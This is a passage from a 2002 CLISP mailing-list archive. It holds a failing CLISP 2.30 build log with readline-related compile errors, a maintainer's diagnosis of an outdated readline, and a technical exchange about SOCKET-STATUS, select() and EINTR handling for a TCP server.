-Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none = ../utils/txt2c.c -o txt2c=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none -I. = ../utils/ccmp2c.c -o ccmp2c=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none = ../utils/modprep.c -o modprep=0A= test -d bindings || mkdir -p bindings=0A= ./comment5 spvw.d | ./ansidecl | ./varbrace > spvw.c=0A= ./comment5 spvwtabf.d | ./ansidecl | ./varbrace > spvwtabf.c=0A= ./comment5 spvwtabs.d | ./ansidecl | ./varbrace > spvwtabs.c=0A= ./comment5 spvwtabo.d | ./ansidecl | ./varbrace > spvwtabo.c=0A= ./comment5 eval.d | ./ansidecl | ./varbrace > eval.c=0A= ./comment5 control.d | ./ansidecl | ./varbrace > control.c=0A= ./comment5 encoding.d | ./ansidecl | ./varbrace > encoding.c=0A= ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c=0A= ./comment5 stream.d | ./ansidecl | ./varbrace > stream.c=0A= ./comment5 socket.d | ./ansidecl | ./varbrace > socket.c=0A= ./comment5 io.d | ./ansidecl | ./varbrace > io.c=0A= ./comment5 array.d | ./ansidecl | ./varbrace > array.c=0A= ./comment5 hashtabl.d | ./ansidecl | ./varbrace > hashtabl.c=0A= ./comment5 list.d | ./ansidecl | ./varbrace > list.c=0A= ./comment5 package.d | ./ansidecl | ./varbrace > package.c=0A= ./comment5 record.d | ./ansidecl | ./varbrace > record.c=0A= ./comment5 sequence.d | ./ansidecl | ./varbrace > sequence.c=0A= ./comment5 charstrg.d | ./ansidecl | ./varbrace > charstrg.c=0A= ./comment5 debug.d | ./ansidecl | ./varbrace > debug.c=0A= ./comment5 error.d | ./ansidecl | ./varbrace > error.c=0A= ./comment5 misc.d | ./ansidecl | ./varbrace > misc.c=0A= ./comment5 time.d | ./ansidecl | ./varbrace > time.c=0A= ./comment5 predtype.d | ./ansidecl | ./varbrace > predtype.c=0A= ./comment5 symbol.d | ./ansidecl | ./varbrace > symbol.c=0A= ./comment5 lisparit.d | ./ansidecl | ./varbrace > lisparit.c=0A= ./comment5 i18n.d | ./ansidecl | ./varbrace > i18n.c=0A= ./comment5 foreign.d | ./ansidecl | ./varbrace > foreign.c=0A= ./comment5 unixaux.d | ./ansidecl | ./varbrace > unixaux.c=0A= ./comment5 lispbibl.d | ./ansidecl | ./varbrace > lispbibl.c=0A= ./comment5 fsubr.d | ./ansidecl | ./varbrace > fsubr.c=0A= ./comment5 subr.d | ./ansidecl | ./varbrace > subr.c=0A= ./comment5 pseudofun.d | ./ansidecl | ./varbrace > pseudofun.c=0A= ./comment5 constsym.d | ./ansidecl | ./varbrace > constsym.c=0A= ./comment5 constobj.d | ./ansidecl | ./varbrace > constobj.c=0A= ./comment5 unix.d | ./ansidecl | ./varbrace > unix.c=0A= ./comment5 xthread.d | ./ansidecl | ./varbrace > xthread.c=0A= ./comment5 constpack.d | ./ansidecl | ./varbrace > constpack.c=0A= ./comment5 avl.d | ./ansidecl | ./varbrace > avl.c=0A= ./comment5 sort.d | ./ansidecl | ./varbrace > sort.c=0A= ./comment5 subrkw.d | ./ansidecl | ./varbrace > subrkw.c=0A= ./comment5 bytecode.d | ./ansidecl | ./varbrace > bytecode.c=0A= ./comment5 spvw_module.d | ./ansidecl | ./varbrace > spvw_module.c=0A= ./comment5 spvw_debug.d | ./ansidecl | ./varbrace > spvw_debug.c=0A= ./comment5 spvw_alloca.d | ./ansidecl | ./varbrace > spvw_alloca.c=0A= ./comment5 spvw_mmap.d | ./ansidecl | ./varbrace > spvw_mmap.c=0A= ./comment5 spvw_multimap.d | ./ansidecl | ./varbrace > spvw_multimap.c=0A= ./comment5 spvw_singlemap.d | ./ansidecl | ./varbrace > spvw_singlemap.c=0A= ./comment5 spvw_page.d | ./ansidecl | ./varbrace > spvw_page.c=0A= ./comment5 spvw_heap.d | ./ansidecl | ./varbrace > spvw_heap.c=0A= ./comment5 spvw_global.d | ./ansidecl | ./varbrace > spvw_global.c=0A= ./comment5 spvw_gcstat.d | ./ansidecl | ./varbrace > spvw_gcstat.c=0A= ./comment5 spvw_space.d | ./ansidecl | ./varbrace > spvw_space.c=0A= ./comment5 spvw_mark.d | ./ansidecl | ./varbrace > spvw_mark.c=0A= ./comment5 spvw_objsize.d | ./ansidecl | ./varbrace > spvw_objsize.c=0A= ./comment5 spvw_update.d | ./ansidecl | ./varbrace > spvw_update.c=0A= ./comment5 spvw_fault.d | ./ansidecl | ./varbrace > spvw_fault.c=0A= ./comment5 spvw_sigsegv.d | ./ansidecl | ./varbrace > spvw_sigsegv.c=0A= ./comment5 spvw_sigcld.d | ./ansidecl | ./varbrace > spvw_sigcld.c=0A= ./comment5 spvw_sigpipe.d | ./ansidecl | ./varbrace > spvw_sigpipe.c=0A= ./comment5 spvw_sigint.d | ./ansidecl | ./varbrace > spvw_sigint.c=0A= ./comment5 spvw_sigwinch.d | ./ansidecl | ./varbrace > spvw_sigwinch.c=0A= ./comment5 spvw_garcol.d | ./ansidecl | ./varbrace > spvw_garcol.c=0A= ./comment5 spvw_genera1.d | ./ansidecl | ./varbrace > spvw_genera1.c=0A= ./comment5 spvw_genera2.d | ./ansidecl | ./varbrace > spvw_genera2.c=0A= ./comment5 spvw_genera3.d | ./ansidecl | ./varbrace > spvw_genera3.c=0A= ./comment5 spvw_allocate.d | ./ansidecl | ./varbrace > spvw_allocate.c=0A= ./comment5 spvw_typealloc.d | ./ansidecl | ./varbrace > spvw_typealloc.c=0A= ./comment5 spvw_circ.d | ./ansidecl | ./varbrace > spvw_circ.c=0A= ./comment5 spvw_walk.d | ./ansidecl | ./varbrace > spvw_walk.c=0A= ./comment5 spvw_ctype.d | ./ansidecl | ./varbrace > spvw_ctype.c=0A= ./comment5 spvw_language.d | ./ansidecl | ./varbrace > spvw_language.c=0A= ./comment5 spvw_memfile.d | ./ansidecl | ./varbrace > spvw_memfile.c=0A= ./comment5 errunix.d | ./ansidecl | ./varbrace > errunix.c=0A= ./comment5 aridecl.d | ./ansidecl | ./varbrace > aridecl.c=0A= ./comment5 arilev0.d | ./ansidecl | ./varbrace > arilev0.c=0A= ./comment5 arilev1.d | ./ansidecl | ./varbrace > arilev1.c=0A= ./comment5 intelem.d | ./ansidecl | ./varbrace > intelem.c=0A= ./comment5 intlog.d | ./ansidecl | ./varbrace > intlog.c=0A= ./comment5 intplus.d | ./ansidecl | ./varbrace > intplus.c=0A= ./comment5 intcomp.d | ./ansidecl | ./varbrace > intcomp.c=0A= ./comment5 intbyte.d | ./ansidecl | ./varbrace > intbyte.c=0A= ./comment5 intmal.d | ./ansidecl | ./varbrace > intmal.c=0A= ./comment5 intdiv.d | ./ansidecl | ./varbrace > intdiv.c=0A= ./comment5 intgcd.d | ./ansidecl | ./varbrace > intgcd.c=0A= ./comment5 int2adic.d | ./ansidecl | ./varbrace > int2adic.c=0A= ./comment5 intsqrt.d | ./ansidecl | ./varbrace > intsqrt.c=0A= ./comment5 intprint.d | ./ansidecl | ./varbrace > intprint.c=0A= ./comment5 intread.d | ./ansidecl | ./varbrace > intread.c=0A= ./comment5 rational.d | ./ansidecl | ./varbrace > rational.c=0A= ./comment5 sfloat.d | ./ansidecl | ./varbrace > sfloat.c=0A= ./comment5 ffloat.d | ./ansidecl | ./varbrace > ffloat.c=0A= ./comment5 dfloat.d | ./ansidecl | ./varbrace > dfloat.c=0A= ./comment5 lfloat.d | ./ansidecl | ./varbrace > lfloat.c=0A= ./comment5 flo_konv.d | ./ansidecl | ./varbrace > flo_konv.c=0A= ./comment5 flo_rest.d | ./ansidecl | ./varbrace > flo_rest.c=0A= ./comment5 realelem.d | ./ansidecl | ./varbrace > realelem.c=0A= ./comment5 realrand.d | ./ansidecl | ./varbrace > realrand.c=0A= ./comment5 realtran.d | ./ansidecl | ./varbrace > realtran.c=0A= ./comment5 compelem.d | ./ansidecl | ./varbrace > compelem.c=0A= ./comment5 comptran.d | ./ansidecl | ./varbrace > comptran.c=0A= ./comment5 arilev1c.d | ./ansidecl | ./varbrace > arilev1c.c=0A= ./comment5 arilev1e.d | ./ansidecl | ./varbrace > arilev1e.c=0A= ./comment5 arilev1i.d | ./ansidecl | ./varbrace > arilev1i.c=0A= ./comment5 genclisph.d | ./ansidecl | ./varbrace > genclisph.c=0A= ./comment5 modules.d | ./ansidecl | ./varbrace > modules.c=0A= ./comment5 noreadline.d | ./ansidecl | ./varbrace > noreadline.c=0A= ./comment5 ari80386.d > ari80386.c=0A= sed -e 's/@''HAVE__BOOL''@/0/g' < stdbool.h.in > stdbool.h=0A= builddir=3D"`pwd`"; cd libcharset && make && make install-lib = libdir=3D"$builddir" includedir=3D"$builddir"=0A= make[1]: Entering directory `/home/dave/clisp-2.30/src/libcharset'=0A= if [ ! -d include ] ; then mkdir include ; fi=0A= cp ../../libcharset/include/libcharset.h.in include/libcharset.h=0A= cd lib && make all=0A= make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= /bin/sh ../libtool --mode=3Dcompile gcc -I. -I../../../libcharset/lib = -I.. -I../../../libcharset/lib/.. -g -O2 -DHAVE_CONFIG_H = -DLIBDIR=3D\"/home/dave/clisp/lib\" -c = ../../../libcharset/lib/localcharset.c=0A= mkdir .libs=0A= gcc -I. -I../../../libcharset/lib -I.. -I../../../libcharset/lib/.. -g = -O2 -DHAVE_CONFIG_H -DLIBDIR=3D\"/home/dave/clisp/lib\" -c = ../../../libcharset/lib/localcharset.c -fPIC -DPIC -o localcharset.o=0A= mv -f localcharset.o .libs/localcharset.lo=0A= gcc -I. -I../../../libcharset/lib -I.. -I../../../libcharset/lib/.. -g = -O2 -DHAVE_CONFIG_H -DLIBDIR=3D\"/home/dave/clisp/lib\" -c = ../../../libcharset/lib/localcharset.c -o localcharset.o >/dev/null 2>&1=0A= mv -f .libs/localcharset.lo localcharset.lo=0A= /bin/sh ../libtool --mode=3Dlink gcc -o libcharset.la -rpath = /home/dave/clisp/lib -version-info 1:0:0 -no-undefined localcharset.lo=0A= rm -fr .libs/libcharset.la .libs/libcharset.* .libs/libcharset.*=0A= gcc -shared localcharset.lo -Wl,-soname -Wl,libcharset.so.1 -o = .libs/libcharset.so.1.0.0=0A= (cd .libs && rm -f libcharset.so.1 && ln -s libcharset.so.1.0.0 = libcharset.so.1)=0A= (cd .libs && rm -f libcharset.so && ln -s libcharset.so.1.0.0 = libcharset.so)=0A= ar cru .libs/libcharset.a localcharset.o =0A= ranlib .libs/libcharset.a=0A= creating libcharset.la=0A= (cd .libs && rm -f libcharset.la && ln -s ../libcharset.la libcharset.la)=0A= /bin/sh ../../../libcharset/lib/config.charset 'i686-pc-linux-gnu' > = t-charset.alias=0A= mv t-charset.alias charset.alias=0A= sed -e '/^#/d' -e 's/@''PACKAGE''@//g' = ../../../libcharset/lib/ref-add.sin > t-ref-add.sed=0A= mv t-ref-add.sed ref-add.sed=0A= sed -e '/^#/d' -e 's/@''PACKAGE''@//g' = ../../../libcharset/lib/ref-del.sin > t-ref-del.sed=0A= mv t-ref-del.sed ref-del.sed=0A= make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= make[1]: Leaving directory `/home/dave/clisp-2.30/src/libcharset'=0A= make[1]: Entering directory `/home/dave/clisp-2.30/src/libcharset'=0A= cd lib && make all=0A= make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= make[2]: Nothing to be done for `all'.=0A= make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= cd lib && make install-lib libdir=3D'/home/dave/clisp-2.30/src' = includedir=3D'/home/dave/clisp-2.30/src'=0A= make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= /bin/sh ../../../libcharset/lib/../autoconf/mkinstalldirs = /home/dave/clisp-2.30/src=0A= /bin/sh ../libtool --mode=3Dinstall /usr/bin/install -c -m 644 = libcharset.la /home/dave/clisp-2.30/src/libcharset.la=0A= /usr/bin/install -c -m 644 .libs/libcharset.so.1.0.0 = /home/dave/clisp-2.30/src/libcharset.so.1.0.0=0A= (cd /home/dave/clisp-2.30/src && rm -f libcharset.so.1 && ln -s = libcharset.so.1.0.0 libcharset.so.1)=0A= (cd /home/dave/clisp-2.30/src && rm -f libcharset.so && ln -s = libcharset.so.1.0.0 libcharset.so)=0A= /usr/bin/install -c -m 644 .libs/libcharset.lai = /home/dave/clisp-2.30/src/libcharset.la=0A= /usr/bin/install -c -m 644 .libs/libcharset.a = /home/dave/clisp-2.30/src/libcharset.a=0A= ranlib /home/dave/clisp-2.30/src/libcharset.a=0A= chmod 644 /home/dave/clisp-2.30/src/libcharset.a=0A= libtool: install: warning: remember to run `libtool --finish = /home/dave/clisp/lib'=0A= test -f /home/dave/clisp-2.30/src/charset.alias && = orig=3D/home/dave/clisp-2.30/src/charset.alias \=0A= || orig=3Dcharset.alias; \=0A= sed -f ref-add.sed $orig > /home/dave/clisp-2.30/src/t-charset.alias; \=0A= /usr/bin/install -c -m 644 /home/dave/clisp-2.30/src/t-charset.alias = /home/dave/clisp-2.30/src/charset.alias; \=0A= rm -f /home/dave/clisp-2.30/src/t-charset.alias=0A= make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A= /bin/sh ../../libcharset/autoconf/mkinstalldirs /home/dave/clisp-2.30/src=0A= /usr/bin/install -c -m 644 include/libcharset.h = /home/dave/clisp-2.30/src/libcharset.h=0A= make[1]: Leaving directory `/home/dave/clisp-2.30/src/libcharset'=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c=0A= In file included from spvw.d:22:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= spvw.d: In function `main':=0A= spvw.d:1688: warning: variable `argv_memneed' might be clobbered by = `longjmp' or `vfork'=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabf.c=0A= In file included from spvwtabf.d:5:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c=0A= In file included from spvwtabs.d:5:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabo.c=0A= In file included from spvwtabo.d:5:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c eval.c=0A= In file included from eval.d:6:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= eval.d: In function `invoke_handlers':=0A= eval.d:628: warning: variable `other_ranges' might be clobbered by = `longjmp' or `vfork'=0A= eval.d:631: warning: variable `FRAME' might be clobbered by `longjmp' or = `vfork'=0A= eval.d:643: warning: variable `i' might be clobbered by `longjmp' or = `vfork'=0A= eval.d: In function `funcall_iclosure':=0A= eval.d:2444: warning: argument `closure' might be clobbered by `longjmp' = or `vfork'=0A= eval.d:2445: warning: argument `args_pointer' might be clobbered by = `longjmp' or `vfork'=0A= eval.d:2446: warning: argument `argcount' might be clobbered by = `longjmp' or `vfork'=0A= eval.d: In function `eval':=0A= eval.d:2943: warning: argument `form' might be clobbered by `longjmp' or = `vfork'=0A= eval.d: In function `eval_no_hooks':=0A= eval.d:3000: warning: argument `form' might be clobbered by `longjmp' or = `vfork'=0A= eval.d: In function `interpret_bytecode_':=0A= eval.d:5947: warning: variable `byteptr' might be clobbered by `longjmp' = or `vfork'=0A= eval.d:5956: warning: variable `closureptr' might be clobbered by = `longjmp' or `vfork'=0A= eval.d:5936: warning: argument `closure' might be clobbered by `longjmp' = or `vfork'=0A= eval.d:5937: warning: argument `codeptr' might be clobbered by `longjmp' = or `vfork'=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c control.c=0A= In file included from control.d:4:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= control.d: In function `C_tagbody':=0A= control.d:1671: warning: variable `body' might be clobbered by `longjmp' = or `vfork'=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c encoding.c=0A= In file included from encoding.d:5:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= encoding.d: In function `nls_range':=0A= encoding.d:1602: warning: `i1' might be used uninitialized in this = function=0A= encoding.d:1603: warning: `i2' might be used uninitialized in this = function=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c pathname.c=0A= In file included from pathname.d:7:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= pathname.d: In function `parse_logical_word':=0A= pathname.d:1585: warning: `ch' might be used uninitialized in this = function=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c=0A= In file included from stream.d:8:=0A= lispbibl.d:7183: warning: register used for two global register variables=0A= stream.d: In function `lisp_completion':=0A= stream.d:9182: warning: variable `array' might be clobbered by `longjmp' = or `vfork'=0A= stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' = or `vfork'=0A= stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' = or `vfork'=0A= stream.d: In function `rd_ch_terminal3':=0A= stream.d:9753: `rl_already_prompted' undeclared (first use in this = function)=0A= stream.d:9753: (Each undeclared identifier is reported only once=0A= stream.d:9753: for each function it appears in.)=0A= stream.d: In function `make_terminal_stream_':=0A= stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this = function)=0A= stream.d: In function `init_streamvars':=0A= stream.d:15296: warning: assignment from incompatible pointer type=0A= stream.d: In function `rl_memory_abort':=0A= stream.d:15410: warning: implicit declaration of function = `rl_deprep_terminal'=0A= stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this = function)=0A= make: *** [stream.o] Error 1=0A= ------=_NextPart_000_0000_01C266D3.F647D2F0-- From sds@gnu.org Sat Sep 28 17:10:48 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vRfc-0005cT-00 for ; Sat, 28 Sep 2002 17:10:48 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8T0BHA25982; Sat, 28 Sep 2002 20:11:17 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: "Arseny Slobodjuck" , Subject: Re: Re[2]: [clisp-list] TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 17:11:04 2002 X-Original-Date: 28 Sep 2002 20:11:17 -0400 > * In message > * On the subject of "RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP" > * Sent on Sat, 28 Sep 2002 09:35:14 -0700 > * Honorable "Dave Richards" writes: > > > >> - an interface to select() > > > > > SOCKET-STATUS > > I have two concerns with SOCKET-STATUS as written: > > - SOCKET-STATUS does not allow one to select() on exceptional (what CLISP > calls error) conditions. is does! look at the sources (and docs): SOCKET-STATUS can return :ERROR for a socket. > The :direction value in SOCKET-STATUS can be one of :input, :output or > :io. Therefore, it is not possible to select for urgent TCP data > using SOCKET-STATUS. It shuld be possible to specify any combination > of :input, :output, and :exception/:error (whatever) and :io for > convenience. CLISP always adds the socket so errorfds fd_set, i.e., CLISP always checks for errors. (sock . :error) would mean to wait _only_ for errors. when is this useful? > - SOCKET-STATUS retries upon reception of EINTR. > Time passage events are orthoginal, for the most part, but do impact how we > handle select() EINTRs. Time passage can be handled in one of two ways: (1) > polling, or (2) via signals. Either way, this impacts how we handle EINTR > in select(). My current C code uses polling. The last set of gprof data I > collected showed me in gettimeofday() 3% of the time! My goal/desire would > be to use an interval timer in the next version. I am not sure I understand this. would you prefer CLISP to signal an error on EINTR? C-c does interrupt SOCKET-STATUS already, right? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux If you think big enough, you'll never have to do it. From sds@gnu.org Sat Sep 28 17:18:59 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vRnV-0000lw-00 for ; Sat, 28 Sep 2002 17:18:57 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8T0JS426007; Sat, 28 Sep 2002 20:19:28 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 17:19:06 2002 X-Original-Date: 28 Sep 2002 20:19:28 -0400 > * In message > * On the subject of "[clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2" > * Sent on Sat, 28 Sep 2002 09:46:47 -0700 > * Honorable "Dave Richards" writes: > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c > In file included from stream.d:8: > lispbibl.d:7183: warning: register used for two global register variables > stream.d: In function `lisp_completion': > stream.d:9182: warning: variable `array' might be clobbered by `longjmp' or `vfork' > stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' or `vfork' > stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork' > stream.d: In function `rd_ch_terminal3': > stream.d:9753: `rl_already_prompted' undeclared (first use in this function) > stream.d:9753: (Each undeclared identifier is reported only once > stream.d:9753: for each function it appears in.) > stream.d: In function `make_terminal_stream_': > stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this function) > stream.d: In function `init_streamvars': > stream.d:15296: warning: assignment from incompatible pointer type > stream.d: In function `rl_memory_abort': > stream.d:15410: warning: implicit declaration of function `rl_deprep_terminal' > stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this function) > make: *** [stream.o] Error 1 I think you have a _very_ old readline version (where everything was called "foo" instead of "rl_foo" in the newer readline) Could you please look at unixconf.h in your build directory and see what READLINE_FILE_COMPLETE is being defined to? Could you please also look at and see whether it declares `already_prompted' (instead of 'rl_already_prompted') and `gnu_readline_p' (instead of `rl_gnu_readline_p') &c. Thanks. If this is the case, please do _NOT_ upgrade your readline!!! I will work out a patch and ask you to try it. (the easiest way would be for you to use the CVS, of course :-) you can also do $ ./configure --without-readline --build build-no-readline -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Life is like a diaper -- short and loaded. From dave@synergy.org Sat Sep 28 18:00:17 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vSRU-0007MM-00 for ; Sat, 28 Sep 2002 18:00:16 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 28 Sep 2002 18:00:15 -0700 From: "Dave Richards" To: Cc: "Arseny Slobodjuck" , Subject: RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 29 Sep 2002 01:00:15.0283 (UTC) FILETIME=[92372830:01C26753] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 18:01:02 2002 X-Original-Date: Sat, 28 Sep 2002 18:00:14 -0700 > is does! > look at the sources (and docs): SOCKET-STATUS can return :ERROR for a > socket. Good grief! I missed that when I was reading the code. You're right. :input (in_sock) implies :error *pre-select()). My apologies. > CLISP always adds the socket so errorfds fd_set, i.e., CLISP always > checks for errors. > (sock . :error) would mean to wait _only_ for errors. > when is this useful? The way it's coded is perfectly adequate. > > - SOCKET-STATUS retries upon reception of EINTR. > > Time passage events are orthoginal, for the most part, but do > impact how we > > handle select() EINTRs. Time passage can be handled in one of > two ways: (1) > > polling, or (2) via signals. Either way, this impacts how we > handle EINTR > > in select(). My current C code uses polling. The last set of > gprof data I > > collected showed me in gettimeofday() 3% of the time! My > goal/desire would > > be to use an interval timer in the next version. > > I am not sure I understand this. > would you prefer CLISP to signal an error on EINTR? > C-c does interrupt SOCKET-STATUS already, right? Well, rather than dictate a solution (since there are several possibilities) let me state the problem: 1. select() for each socket until network traffix events occurs, i.e. :input, :output, :io, :error. 2. Every second execute a LISP function which handles time-based work. In a single-threaded environment like CLISP, network traffic and time events must be multiplexed in such a way that both needs are met (more or less efficiently). One approach (the one my C code uses) is to pass the time value (1 second) to select(). This ensures that we'll exit select() in time to meet our next time event. Unfortunately, with many users connected, we can exit select() many times per second. Which means we must call gettimeofday() every loop iteration to see how much longer before we should process our time events. We subtract the "next time period" from the current time and pass the difference to select(). This approach, although simple and seemingly elegant, is also pretty expensive. The second approach would be to use a 1 second interval timer. When the timer expires, the signal handler would increment a variable. At the next loop iteration we can use the variable to decide whether to handle time events (and how many). If we poll, EINTR handling isn't very important. In general, CLISP doesn't receive signals. Therefore, who really cares how we handle EINTR? However, in the second (interval timer) case, signals are important. We use signals to keep track of time. If socket-status re-select()s in the EINTR case, our time event processing may lag. So, the bottom line is, if we poll for time, re-select()ing isn't a big deal. But if we use setitimer() to handle time, EINTR becomes an issue. Make sense? Dave From dave@synergy.org Sat Sep 28 18:11:42 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vScY-0005Mb-00 for ; Sat, 28 Sep 2002 18:11:42 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 28 Sep 2002 18:11:41 -0700 From: "Dave Richards" To: Cc: "clisp-list" Subject: RE: [clisp-list] clisp-2.30 build problems on Red Hat 